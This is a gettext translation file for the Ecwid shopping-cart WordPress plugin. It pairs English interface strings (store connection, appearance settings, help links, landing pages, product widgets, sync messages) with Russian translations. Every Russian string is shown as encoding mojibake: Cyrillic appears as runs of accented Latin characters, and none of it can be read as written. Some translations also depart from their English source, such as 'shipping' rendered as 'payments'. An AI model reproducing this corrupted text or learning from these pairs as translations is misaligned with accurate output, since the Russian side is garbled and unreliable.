"Мы добавили Ñтот инÑтрумент недавно, и он ÑÐµÐ¹Ñ‡Ð°Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ð°ÐµÑ‚ в бета-режиме. ЕÑли вы обнаружите какие-либо проблемы в его работе, пожалуйÑта, <a %s>Ñообщите нам</a>." #: templates/advanced-settings.php:164 msgid "Integration with search on your site" msgstr "Ð˜Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ð¸Ñ Ñ Ð¿Ð¾Ð¸Ñком на Ñайте" #: templates/advanced-settings.php:180 msgid "%s stores your products data in a secure cloud storage. The product pages are displayed on the fly when a customer browses your store. So, basically, the products are not stored on the site, that's why the site search doesn't find product pages while looking through site pages and posts. This option enables a local storage mode: the products will be stored both in the cloud and on your site. The site search results will list product pages as well as regular pages/posts of your site." msgstr "%s хранит данные товаров магазина в защищенном облачном хранилище, и показывает их прÑмо на Ñтранице магазина, когда поÑетитель открывает товар. ПоÑтому данные товаров не хранÑÑ‚ÑÑ Ð½Ð° вашем Ñайте, а поиÑк по Ñайту находит только Ñтраницы и запиÑи Ñайта — не находит товары магазина. Эта наÑтройка включает локальное хранение товаров: данные товаров будут хранитьÑÑ Ð¸ в облачном хранилище, и прÑмо на вашем Ñайте. ПоиÑк по Ñайту будет показывать Ñтраницы товаров магазина так же, как запиÑи или Ñтраницы, размещенные на Ñайте." #: templates/advanced-settings.php:188 msgid "Please note this functionality is in beta. So if you run into difficulties or find problems with it, please <a %s>let us know</a>." msgstr "Эта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ ÑÐµÐ¹Ñ‡Ð°Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ð°ÐµÑ‚ в бета-режиме. ЕÑли вы обнаружите проблемы в её работе, пожалуйÑта, <a %s>Ñообщите нам</a>." #: templates/advanced-settings.php:202 msgid "Cache and speed up the store home page <sup>new</sup>" msgstr "Кеширование и уÑкорение главной Ñтраницы магазина <sup>новое</sup>" #: templates/advanced-settings.php:206 msgid "This caches your store home page on your site to make it load way faster for your customers." msgstr "Включает кеширование главной Ñтраницы магазина Ð´Ð»Ñ ÑƒÑÐºÐ¾Ñ€ÐµÐ½Ð¸Ñ Ð·Ð°Ð³Ñ€ÑƒÐ·ÐºÐ¸ витрины в браузере покупателÑ." #: templates/advanced-settings.php:197 templates/appearance-settings.php:217 msgid "Save changes" msgstr "Сохранить изменениÑ" #: templates/appearance-settings.php:1 msgid "%s Shopping Cart — Appearance settings" msgstr "Магазин %s — ÐаÑтройки внешнего вида" #: templates/appearance-settings.php:27 msgid "Display search box above products" msgstr "Показывать форму поиÑка над ÑпиÑком продуктов" #: templates/appearance-settings.php:31 msgid "Or you can add search box to your website's toolbar using <a href=\"%s\">WordPress native widgets</a>" msgstr "Или вы можете добавить форму поиÑка на ваш Ñайт Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ <a href=\"%s\">виджетов WordPress</a>" #: templates/appearance-settings.php:51 msgid "Display categories above products" msgstr "Показывать меню категорий над ÑпиÑком продуктов" #: templates/appearance-settings.php:55 msgid "Or you can add vertical categories to your website's toolbar using <a href=\"%s\">WordPress native widgets</a>" msgstr "Или вы можете добавить вертикальное меню категорий на ваш Ñайт Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ <a href=\"%s\">виджетов WordPress</a>" #: templates/appearance-settings.php:76 msgid "Enable minicart attached to categories" msgstr "Показывать корзину у меню категорий" #: templates/appearance-settings.php:80 msgid "You should disable this option, if you added minicart to your website's sidebar" msgstr "ЕÑли вы добавили виджет корзины в боковое меню, Ñледует отключить Ñту наÑтройку" #: templates/appearance-settings.php:99 templates/store-popup.php:180 msgid "Number of categories per row" msgstr "КоличеÑтво категорий в Ñ€Ñд" #: templates/appearance-settings.php:110 templates/store-popup.php:84 msgid "Number of products per page" msgstr "КоличеÑтво продуктов на Ñтранице" #: templates/appearance-settings.php:112 templates/store-popup.php:86 msgid "Grid view" msgstr "Вид \"Ñетка\"" #: templates/appearance-settings.php:139 templates/store-popup.php:113 msgid "List view" msgstr "Вид \"ÑпиÑок\"" #: templates/appearance-settings.php:156 templates/store-popup.php:130 msgid "Table view" msgstr "Вид \"таблица\"" #: templates/appearance-settings.php:171 templates/store-popup.php:145 msgid "Here you can control how many products will be displayed per page. These options define maximum values. If there is not enough space to show all product columns, %s will adapt the number of columns to hold all products." msgstr "ЗдеÑÑŒ вы можете задать количеÑтво отображаемых продуктов на Ñтранице. Эти цифры определÑÑŽÑ‚ макÑимальные значениÑ. ЕÑли на Ñтранице в Ñетке продуктов будет недоÑтаточно меÑта Ð´Ð»Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð²Ñех Ñтолбцов, %s уменьшит их количеÑтво." #: templates/appearance-settings.php:178 templates/store-popup.php:193 msgid "Default view mode on product pages" msgstr "Вид Ñтраницы продуктов по умолчанию" #: templates/appearance-settings.php:183 templates/appearance-settings.php:201 #: templates/store-popup.php:197 templates/store-popup.php:215 msgid "Grid" msgstr "Сетка" #: templates/appearance-settings.php:186 templates/appearance-settings.php:204 #: templates/store-popup.php:200 templates/store-popup.php:218 msgid "List" msgstr "СпиÑок" #: templates/appearance-settings.php:189 templates/appearance-settings.php:207 #: templates/store-popup.php:203 templates/store-popup.php:221 msgid "Table" msgstr "Таблица" #: templates/appearance-settings.php:196 templates/store-popup.php:210 msgid "Default view mode on search results" msgstr "Вид Ñтраницы результатов поиÑка по умолчанию" #: templates/connect.php:5 templates/dashboard.php:6 #: templates/reconnect-sso.php:5 templates/reconnect.php:5 msgid "%s Shopping Cart" msgstr "Интернет-магазин %s" #: templates/connect.php:13 templates/reconnect.php:13 msgid "Connect your store<br /> to this WordPress site" msgstr "Подключите магазин<br /> к Ñвоему WordPress Ñайту" #: templates/connect.php:17 msgid "Enter your Store ID" msgstr "Введите ваш ID Магазина" #: templates/connect.php:20 templates/landing_old.php:27 #: templates/reconnect.php:23 msgid "Connect" msgstr "Подключите магазин" #: templates/connect.php:21 msgid "Save and connect" msgstr "Сохранить и приÑоединить" #: templates/connect.php:27 templates/reconnect.php:46 msgid "To display your store on this site, you need to allow WordPress to access your %1$s products. Please press connect to provide permission." msgstr "Ðажмите на кнопку, авторизуйтеÑÑŒ в %1$s и выдайте запрошенные права доÑтупа" #: templates/connect.php:32 msgid "Where to find your Store ID:" msgstr "Где найти ID Магазина:" #: templates/connect.php:34 msgid "Store ID is a unique identifier of your %1$s account. You can find it in your %1$s control panel: open the <a %2$s>Dashboard page</a> and find the \"<b>Store ID: NNNNNNN</b>\" text, where <b>NNNNNNN</b> is your Store ID." msgstr "ID магазина – Ñто уникальный номер аккаунта в %1$s. Ð’Ñ‹ можете его найти в панели ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ %1$s-магазина: откройте Ñтраницу \"<a %2$s>КонÑоль</a>\" и найдите текÑÑ‚ \"<b>ID ÐœÐ°Ð³Ð°Ð·Ð¸Ð½Ð° NNNNNNN</b>\". " #: templates/connect.php:39 msgid "Don't have an %s account? Create one now." msgstr "Ещё нет аккаунта в %s? ЗарегиÑтрируйтеÑÑŒ" #: templates/dashboard.php:10 templates/store-popup.php:231 #: templates/store-svg.php:15 msgid "Store ID" msgstr "ID Магазина" #: templates/dashboard.php:14 msgid "Disconnect store" msgstr "ОтÑоединить магазин" #: templates/dashboard.php:27 msgid "Congratulations!" msgstr "ПоздравлÑем!" #: templates/dashboard.php:30 msgid "Your %s store is now connected<br /> to your WordPress website" msgstr "%s-магазин уÑпешно подключен<br /> к вашему WordPress Ñайту" #: templates/dashboard.php:35 msgid "Greetings!" msgstr "ПриветÑтвуем!" #: templates/dashboard.php:38 msgid "Your %s store is connected<br /> to your WordPress website" msgstr "%s-магазин подключен<br /> к вашему WordPress Ñайту" #: templates/dashboard.php:47 msgid "Open control panel" msgstr "Открыть панель управлениÑ" #: templates/debug.php:14 msgid "Download log file" msgstr "Скачать лог-файл" #: templates/help.php:11 msgid "How can we help you?" msgstr "Как вам помочь?" #: templates/help.php:15 msgid "https://support.ecwid.com/hc/en-us/search" msgstr "https://support.ecwid.com/hc/ru/search" #: templates/help.php:17 msgid "E.g. How to set up shipping" msgstr "Ðапример, как наÑтроить платежи?" #: templates/help.php:21 msgid "Search the Knowledge Base" msgstr "ИÑкать в базе знаний" #: templates/help.php:29 msgid "https://support.ecwid.com/hc/en-us/sections/201706719-Ecwid-Basics" msgstr "https://support.ecwid.com/hc/ru/sections/201706719-%D0%9D%D0%B0%D1%87%D0%B0%D0%BB%D0%BE-%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D1%8B-" #: templates/help.php:31 msgid "Ecwid Basics" msgstr "Ðачало работы" #: templates/help.php:35 msgid "https://support.ecwid.com/hc/en-us/sections/201758475-Manage-Your-Ecwid-Store" msgstr "https://support.ecwid.com/hc/ru/sections/201758475-%D0%A3%D0%BF%D1%80%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5-%D0%BC%D0%B0%D0%B3%D0%B0%D0%B7%D0%B8%D0%BD%D0%BE%D0%BC" #: templates/help.php:37 msgid "Manage Your Ecwid Store" msgstr "Управление магазином" #: templates/help.php:41 msgid "https://support.ecwid.com/hc/en-us/sections/201758445-Customize-Your-Store" msgstr "https://support.ecwid.com/hc/ru/sections/201758445-%D0%98%D0%B7%D0%BC%D0%B5%D0%BD%D0%B5%D0%BD%D0%B8%D0%B5-%D0%B4%D0%B8%D0%B7%D0%B0%D0%B9%D0%BD%D0%B0-" #: templates/help.php:43 msgid "Customize Your Store" msgstr "Изменение дизайна" #: templates/help.php:47 msgid "https://support.ecwid.com/hc/en-us/sections/201706799-Billing-Questions" msgstr "https://support.ecwid.com/hc/ru/sections/201706799-%D0%9F%D0%BE%D0%B4%D0%BF%D0%B8%D1%81%D0%BA%D0%B0" #: templates/help.php:49 msgid "Billing Questions" msgstr "ПодпиÑка" #: templates/help.php:53 msgid "https://support.ecwid.com/hc/en-us/sections/201702859-Technical-Reference" msgstr "https://support.ecwid.com/hc/ru/sections/201702859-%D0%A2%D0%B5%D1%85%D0%BD%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B0%D1%8F-%D0%B8%D0%BD%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%86%D0%B8%D1%8F" #: templates/help.php:55 msgid "Technical Reference" msgstr "ТехничеÑÐºÐ°Ñ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ" #: templates/help.php:62 msgid "Frequently Asked Questions" msgstr "ЧаÑто Задаваемые ВопроÑÑ‹" #: templates/help.php:205 msgid "Contact us" msgstr "СвÑзь Ñ Ñ‚ÐµÑ…Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶ÐºÐ¾Ð¹" #: templates/help.php:206 msgid "Still have questions about Ecwid? Let us know!" msgstr "ЕÑть вопроÑÑ‹? СвÑжитеÑÑŒ Ñ Ð½Ð°Ð¼Ð¸, мы будем рады вам помочь." #: templates/help.php:211 msgid "https://www.ecwid.com/forums" msgstr "https://www.ecwid.com/forums/forumdisplay.php?f=10" #: templates/help.php:211 msgid "Forums" msgstr "Форум" #: templates/help.php:212 msgid "Join the Ecwid community. Discuss support topics and store ideas with other Ecwid users." msgstr "ОбщайтеÑÑŒ Ñ Ð´Ñ€ÑƒÐ³Ð¸Ð¼Ð¸ пользователÑми Эквида и командой поддержки клиентов по любым вопроÑам, ÑвÑзанным Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ð¾Ð¹ вашего магазина." #: templates/help.php:221 msgid "Send a message to our support team" msgstr "ПиÑьмо в Ñлужбу поддержки" #: templates/help.php:227 msgid "Subject" msgstr "Тема" #: templates/help.php:228 msgid "Type in your message here" msgstr "Ваш вопроÑ" #: templates/help.php:231 msgid "Send Message" msgstr "Отправить" #: templates/help.php:242 msgid "Send message failed" msgstr "Ðе удалоÑÑŒ отправить Ñообщение" #: templates/help.php:248 msgid "Your email has been sent" msgstr "Сообщение отправлено" #: templates/help.php:249 msgid " Thank you very much for contacting us! We will get back to you shortly." msgstr "СпаÑибо! Мы Ñкоро ÑвÑжемÑÑ Ñ Ð²Ð°Ð¼Ð¸." #: templates/help.php:250 msgid "You can send a new request here." msgstr "Тут можно отправить новый запроÑ." #: templates/landing.php:8 msgid "Welcome to %s!" msgstr "Добро пожаловать в %s!" #: templates/landing.php:9 msgid "Thank you for choosing %s to build your online store. The first step to sell successfully online is to set up your store! Let’s get started and add a store to your website in a few simple steps." msgstr "СпаÑибо, что выбрали %s Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ интернет-магазина. Первый шаг к уÑпешной онлайн торговле — наÑтройка магазина! Давайте добавим магазин на ваш Ñайт за неÑколько проÑтых шагов." #: templates/landing.php:15 templates/landing.php:132 msgid "Create Store" msgstr "Создать магазин" #: templates/landing.php:31 templates/landing.php:148 msgid "Store is created" msgstr "Магазин Ñоздан" #: templates/landing.php:35 templates/landing.php:152 msgid "Creating store" msgstr "Создание магазина" #: templates/landing.php:39 templates/landing.php:156 msgid "Preparing your store dashboard" msgstr "Подготовка панели управлениÑ" #: templates/landing.php:43 templates/landing_old.php:52 msgid "Free registration, No credit card required" msgstr "РегиÑÑ‚Ñ€Ð°Ñ†Ð¸Ñ Ð±ÐµÑплатна, ÐºÑ€ÐµÐ´Ð¸Ñ‚Ð½Ð°Ñ ÐºÐ°Ñ€Ñ‚Ð° не требуетÑÑ" #: templates/landing.php:46 msgid "Connection error: please click the button again and give permissions for this plugin<br /> to show your %s store on this site." msgstr "Ошибка подключениÑ: поÑле Ð½Ð°Ð¶Ð°Ñ‚Ð¸Ñ Ð½Ð° кнопку, авторизуйтеÑÑŒ в %s и предоÑтавьте запрашиваемые права." #: templates/landing.php:49 templates/landing.php:160 msgid "Already have %s account?" msgstr "Уже еÑть аккаунт в %s?" #: templates/landing.php:53 msgid "You will be asked to log in to your %s Control Panel<br />and give permissions to show your store on this site" msgstr "Вам будет предложено войти в панель ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ %s<br />и предоÑтавить права доÑтупа Ð´Ð»Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð° на вашем Ñайте" #: templates/landing.php:56 templates/landing_old.php:75 msgid "Get ready to sell online" msgstr "Продавать онлайн – Ñто проÑто" #: templates/landing.php:67 msgid "Sell Everywhere" msgstr "Продавайте там,<br> где ваши клиенты" #: templates/landing.php:68 templates/landing_old.php:87 msgid "Start selling on your WordPress site. Then mirror your shop on your Facebook page, blog and marketplaces like Google Shopping, Yahoo and Shopping.com." msgstr "Откройте продажи на Ñвоём WordPress Ñайте, а затем размеÑтите витрину магазина в Ñоциальных ÑетÑÑ…, блоге, и выгрузите товары на торговые площадки ЯндекÑ.Маркет, eBay и Google Shopping." #: templates/landing.php:69 msgid "Use %s's mobile-POS to swipe credit cards and sell on the go. Your orders and inventory are always synchronized with your online store." msgstr "ИÑпользуйте мобильное приложение %s, чтобы получать и обрабатывать заказы в любой точке продаж. Ð’Ñе Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ ÑинхронизируютÑÑ Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð¾Ð¼ на лету." #: templates/landing.php:75 templates/landing_old.php:94 msgid "Features" msgstr "ПреимущеÑтва" #: templates/landing.php:82 templates/landing_old.php:101 msgid "Compatible with your theme" msgstr "Работает Ñ Ð²Ð°ÑˆÐµÐ¹ темой" #: templates/landing.php:83 msgid "%s is compatible with your<br>“%s†WordPress theme<br>out of the box." msgstr "%s ÑовмеÑтим Ñ Ñ‚ÐµÐ¼Ð¾Ð¹<br>\"%s\" вашего Ñайта из коробки." #: templates/landing.php:91 templates/landing_old.php:110 msgid "Free and always up to date" msgstr "БеÑплатный план и обновлениÑ" #: templates/landing.php:92 templates/landing_old.php:111 msgid "Free plan always available with tons of features<br>at no additional cost. Updates are seamless, automatic<br>and free of charge." msgstr "Ð’Ñегда доÑтупный беÑплатный план Ñ Ð¼Ð½Ð¾Ð¶ÐµÑтвом<br>возможноÑтей. ÐžÐ±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð° автоматизированы,<br> беÑплатны и не требуют вашего учаÑтиÑ." #: templates/landing.php:102 templates/landing_old.php:121 msgid "Responsive design" msgstr "Ðдаптивный дизайн" #: templates/landing.php:103 templates/landing_old.php:122 msgid "Your store looks perfect<br />on all devices" msgstr "Ваш магазин выглÑдит превоÑходно<br />на любом уÑтройÑтве: планшете, Ñмартфоне и ноутбуке." #: templates/landing.php:111 templates/landing_old.php:130 msgid "PCI DSS Certified" msgstr "Ð¡ÐµÑ€Ñ‚Ð¸Ñ„Ð¸ÐºÐ°Ñ†Ð¸Ñ Ð¿Ð¾ PCI DSS" #: templates/landing.php:112 templates/landing_old.php:131 msgid "Secure checkout with over 40<br />payment options" msgstr "Эквид Ñертифицирован по Ñтандарту Level 1 PCI DSS – Ñамому выÑокому уровню безопаÑноÑти передачи данных." #: templates/landing.php:120 templates/landing_old.php:139 msgid "Global Reach" msgstr "Глобальное решение" #: templates/landing.php:121 msgid "Over 1 million merchants in 175 countries" msgstr "Более миллиона продавцов из 175 Ñтран" #: templates/landing.php:128 templates/landing_old.php:147 msgid "Start selling <br>on your WordPress <nobr>site for free</nobr>" msgstr "Ðачните продавать<br>на Ñвоём WordPress <nobr>Ñайте беÑплатно</nobr>" #: templates/landing.php:161 templates/landing_old.php:158 msgid "Connect your store to this site" msgstr "Подключить магазин к Ñвоему Ñайту" #: templates/landing_old.php:8 templates/landing_old.php:12 msgid "Plugin is installed successfully!" msgstr "Плагин уÑпешно уÑтановлен!" #: templates/landing_old.php:9 msgid "There are just a few steps left to start selling<br /> on your WordPress site" msgstr "До Ð¾Ñ‚ÐºÑ€Ñ‹Ñ‚Ð¸Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð° на вашем WordPress Ñайте<br /> оÑталоÑÑŒ неÑколько проÑтых шагов" #: templates/landing_old.php:13 msgid "There are few little steps left to start selling<br /> on your WordPress site" msgstr "До Ð¾Ñ‚ÐºÑ€Ñ‹Ñ‚Ð¸Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð° на вашем WordPress Ñайте<br /> оÑталоÑÑŒ неÑколько проÑтых шагов" #: templates/landing_old.php:19 msgid "Register" msgstr "ЗарегиÑтрируйтеÑÑŒ" #: templates/landing_old.php:20 msgid "Create a free Ecwid account to manage your store and inventory.<br /> No credit card required" msgstr "ЗарегиÑтрируйте беÑплатный аккаунт в Эквиде.<br /> ÐšÑ€ÐµÐ´Ð¸Ñ‚Ð½Ð°Ñ ÐºÐ°Ñ€Ñ‚Ð° не требуетÑÑ" #: templates/landing_old.php:29 msgid "Add your Ecwid store to your site <nobr>in two clicks</nobr>" msgstr "Подключите Ñвой Эквид-магазин к Ñайту <nobr>в два клика</nobr>" #: templates/landing_old.php:30 msgid "Connect your Ecwid store to this site <nobr>in two clicks</nobr>" msgstr "Подключите Ñвой Эквид-магазин к Ñайту <nobr>в два клика</nobr>" #: templates/landing_old.php:39 msgid "Start selling" msgstr "Ðачните продавать" #: templates/landing_old.php:40 msgid "Your storefront is ready" msgstr "Магазин открыт Ð´Ð»Ñ Ð¿Ð¾ÐºÑƒÐ¿Ð°Ñ‚ÐµÐ»ÐµÐ¹" #: templates/landing_old.php:46 msgid "Create Ecwid store" msgstr "Создать магазин беÑплатно" #: templates/landing_old.php:49 templates/landing_old.php:154 msgid "Connect your store" msgstr "Подключить магазин" #: templates/landing_old.php:55 msgid "Connection error: please click the button again and give permissions for this plugin<br /> to show your Ecwid store on this site." msgstr "Ошибка подключениÑ: пожалуйÑта, нажмите кнопку ещё раз и предоÑтавьте права доÑтупа плагину<br /> Ð´Ð»Ñ Ð¿ÑƒÐ±Ð»Ð¸ÐºÐ°Ñ†Ð¸Ð¸ Ñвоего Эквид-магазина на Ñтом Ñайте." #: templates/landing_old.php:58 templates/landing_old.php:69 msgid "You will be asked to log in to your Ecwid Control Panel<br />and give permissions to show your store on this site" msgstr "Вам будет предложено войти в панель ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð­ÐºÐ²Ð¸Ð´Ð°<br />и предоÑтавить права доÑтупа Ð´Ð»Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð° на вашем Ñайте" #: templates/landing_old.php:61 templates/landing_old.php:157 msgid "Already have Ecwid account?" msgstr "Уже еÑть аккаунт в Эквиде?" #: templates/landing_old.php:65 templates/landing_old.php:161 msgid "Don't have an Ecwid account?" msgstr "Ещё нет аккаунта в Эквиде?" #: templates/landing_old.php:66 templates/landing_old.php:162 msgid "Register at Ecwid for free" msgstr "ЗарегиÑтрироватьÑÑ Ð±ÐµÑплатно" #: templates/landing_old.php:72 msgid "No credit card required" msgstr "ÐšÑ€ÐµÐ´Ð¸Ñ‚Ð½Ð°Ñ ÐºÐ°Ñ€Ñ‚Ð° не требуетÑÑ" #: templates/landing_old.php:86 msgid "Sell Everywhere<br>with your Ecwid store" msgstr "Продавайте там,<br> где ваши клиенты" #: templates/landing_old.php:88 msgid "Use Ecwid's mobile-POS to swipe credit cards and sell on the go. Your orders and inventory are always synchronized with your online store." msgstr "ИÑпользуйте наше мобильное приложение, чтобы получать и обрабатывать заказы в любой точке продаж. Ð’Ñе Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ ÑинхронизируютÑÑ Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð¾Ð¼ на лету." #: templates/landing_old.php:102 msgid "Ecwid is compatible with your<br>“%s†WordPress theme<br>out of the box." msgstr "Эквид ÑовмеÑтим Ñ Ñ‚ÐµÐ¼Ð¾Ð¹<br>\"%s\" вашего Ñайта из коробки." #: templates/landing_old.php:140 msgid "More than 800,000 merchants in 175 countries" msgstr "Эквид уже иÑпользуют 800,000 продавцов из 175 Ñтран" #: templates/landing_old.php:151 msgid "Get Started, Create Ecwid Account" msgstr "ЗарегиÑтрировать аккаунт %s" #: templates/product-popup.php:23 msgid "Name" msgstr "Ðазвание" #: templates/product-popup.php:29 msgid "SKU" msgstr "Ðртикул" #: templates/product-popup.php:47 templates/product-popup.php:53 #: templates/product-popup.php:56 msgid "Search" msgstr "ПоиÑк" #: templates/product-popup.php:49 msgid "Title or SKU" msgstr "Ðазвание или артикул" #: templates/product-popup.php:69 msgid "Current Page" msgstr "Ð¢ÐµÐºÑƒÑ‰Ð°Ñ Ñтраница" #: templates/product-popup.php:80 msgid "Next page" msgstr "СледующаÑ" #: templates/product-popup.php:94 msgid "Nothing found for <span class=\"empty-page__term\">\"{{ data.term }}\"</span>" msgstr "По запроÑу <span class=\"empty-page__term\">\"{{ data.term }}\"</span> ничего не найдено" #: templates/product-popup.php:96 msgid "Try another search." msgstr "Попробуйте другой запроÑ." #: templates/product-popup.php:97 msgid "Browse all products." msgstr "Показать вÑе товары." #: templates/product-popup.php:122 templates/product-popup.php:127 msgid "Choose Product" msgstr "Выбрать товар" #: templates/product-popup.php:123 templates/product-popup.php:131 msgid "Customize widget" msgstr "Внешний вид" #: templates/product-popup.php:140 msgid "Choose product properties to display in widget" msgstr "Выберите Ñлементы товара Ð´Ð»Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ" #: templates/product-popup.php:150 msgid "Picture" msgstr "Изображение" #: templates/product-popup.php:155 msgid "Options" msgstr "Параметры" #: templates/product-popup.php:165 msgid "Quantity" msgstr "КоличеÑтво" #: templates/product-popup.php:176 msgid "«Buy now» button" msgstr "Кнопка «Купить»" #: templates/product-popup.php:196 msgid "Add border" msgstr "Показывать рамку" #: templates/product-popup.php:201 msgid "Show price inside the \"Buy now\" button" msgstr "Показывать цену в кнопке \"Купить\"" #: templates/product-popup.php:201 msgid "Show price inside the «Buy now» button" msgstr "Показывать цену в кнопке «Купить»" #: templates/product-popup.php:206 msgid "Center align on a page" msgstr "ВыровнÑть карточку по центру Ñтраницы" #: templates/product-popup.php:218 msgid "customize appearance" msgstr "наÑтроить внешний вид" #: templates/product-popup.php:219 msgid "select product" msgstr "выбрать товар" #: templates/product-popup.php:220 msgid "Insert" msgstr "Ð’Ñтавить" msgid "Display product with a buy button" msgstr "Товар Ñ ÐºÐ½Ð¾Ð¿ÐºÐ¾Ð¹ \"Купить\"" msgctxt "gutenberg-product-block" msgid "Content" msgstr "Элементы виджета" msgid "Displayed product" msgstr "Выбранный товар" msgid "Change" msgstr "Изменить" msgid "Choose product" msgstr "Выбрать товар" msgid "Your product" msgstr "Товар" msgid "%s product" msgstr "%s товар" #: templates/reconnect-sso.php:11 msgid "Your store Control Panel. Right here in WordPress." msgstr "Панель ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð¾Ð¼, вÑÑ‚Ñ€Ð¾ÐµÐ½Ð½Ð°Ñ Ð² Wordpress." #: templates/reconnect-sso.php:12 msgid "Manage products, track sales, adjust settings - <nobr>All without</nobr> leaving this page." msgstr "Ð’Ñ‹ Ñможете добавлÑть товары, обрабатывать заказы и управлÑть магазином прÑмо на Ñтой Ñтранице." #: templates/reconnect-sso.php:14 msgid "Re-connect to Enable Control Panel" msgstr "Подключить панель управлениÑ" #: templates/reconnect.php:31 msgid "Connection error - after clicking button you need to login and accept permissions to use our plugin. Please, try again." msgstr "Ошибка подключениÑ: поÑле Ð½Ð°Ð¶Ð°Ñ‚Ð¸Ñ Ð½Ð° кнопку, авторизуйтеÑÑŒ в Эквиде и предоÑтавьте запрашиваемые права." #: templates/reconnect.php:39 msgid "Looks like your site does not support remote POST requests that are required for %s API to work. Please, contact your hosting provider to enable cURL." msgstr "Похоже, что ваш Ñервер не поддерживает удаленные POST запроÑÑ‹, которые необходимы Ð´Ð»Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ñ‹ %s API. ПожалуйÑта, ÑвÑжитеÑÑŒ Ñ Ñ…Ð¾Ñтинг-провайдером, чтобы иÑправить Ñто." #: templates/store-popup.php:12 templates/store-popup.php:25 msgid "Store elements" msgstr "Витрина" #: templates/store-popup.php:46 msgid "Choose widgets to show" msgstr "Виджеты витрины магазина" #: templates/store-popup.php:47 msgid "Product catalog will be shown automatically" msgstr "Каталог товаров отображаетÑÑ Ð¿Ð¾ умолчанию" #: templates/store-popup.php:52 msgid "Show search" msgstr "ПоиÑк" #: templates/store-popup.php:59 msgid "Show minicart" msgstr "Мини-корзина" #: templates/store-popup.php:66 msgid "Show categories" msgstr "Меню категорий" #: templates/store-popup.php:72 msgid "Additionally, you can add store controls to your website's toolbar using <a %s>WordPress native widgets</a>" msgstr "Кроме того, вы можете добавить отдельные Ñлементы магазина в Ñайдбар Ñайта иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ <a %s>вÑтроенные виджеты WordPress</a>" #: templates/store-popup.php:233 msgid "Demo store" msgstr "ДемонÑтрационный магазин" #: templates/store-popup.php:236 msgid "Open store dashboard" msgstr "ÐаÑтройки магазина" #: templates/store-popup.php:240 msgid "Insert into page" msgstr "Ð’Ñтавить в Ñтраницу" #: templates/store-popup.php:243 msgid "Update" msgstr "Обновить" #: templates/store-svg.php:10 msgid "Your store will be shown here!" msgstr "ЗдеÑÑŒ будет отображатьÑÑ Ð²Ð°Ñˆ магазин." #: templates/store-svg.php:13 msgid "Demo Store" msgstr "ДемонÑтрационный магазин" #: templates/sync.php:161 msgid "To enable this feature, the plugin needs a permission to read your store product information." msgstr "Чтобы включить интеграцию Ñ Ð¿Ð¾Ð¸Ñком, нужно дать плагину доÑтуп до данных товаров в магазине." #: templates/sync.php:162 msgid "Provide access." msgstr "Перейдите по Ñтой ÑÑылке, чтобы предоÑтавить доÑтуп." #: templates/sync.php:167 templates/sync.php:168 msgid "Synchronize products" msgstr "Синхронизировать товары" #: templates/sync.php:175 msgid "We're synchronizing your products. This may take a few minutes. Please do not reload the page." msgstr "Товары загружаютÑÑ. Это может занÑть неÑколько минут. ПожалуйÑта, не перезагружайте Ñтраницу." #: templates/sync.php:179 msgid "Products synchronized: %1$s out of %2$s" msgstr "Загружено товаров: %1$s из %2$s" #: templates/sync.php:179 msgid "Deleted products synchronized: %1$s out of %2$s" msgstr "Обработано удалённых товаров: %1$s из %2$s" #: templates/sync.php:186 msgid "Products are successfully synchronized. The product pages are up to date." msgstr "Товары уÑпешно Ñинхронизированы. Страницы товаров обновлены." #: templates/sync.php:190 msgid "Last update" msgstr "ПоÑледнÑÑ ÑинхронизациÑ" #: templates/sync.php:193 msgid "Not synchronized yet" msgstr "Ðе Ñинхронизовано" msgid "Random Product" msgstr "Случайный товар" msgid "Displays a random product from your store to attract customer attention." msgstr "Показывает Ñлучайный товар из магазина, чтобы привлечь внимание покупателÑ." msgid "Latest Products" msgstr "Ðовые товары" msgid "Displays the latest added products from your store. Show new products to returning customers to drive repeat sales." msgstr "СпиÑок поÑледних добавленных товаров из магазина." msgid "%s Blog" msgstr "Блог %s" msgid "Knowledge Base" msgstr "База знаний" msgid "https://www.ecwid.com/blog" msgstr "https://www.ecwid.ru/blog" msgid "https://support.ecwid.com/hc/en-us" msgstr 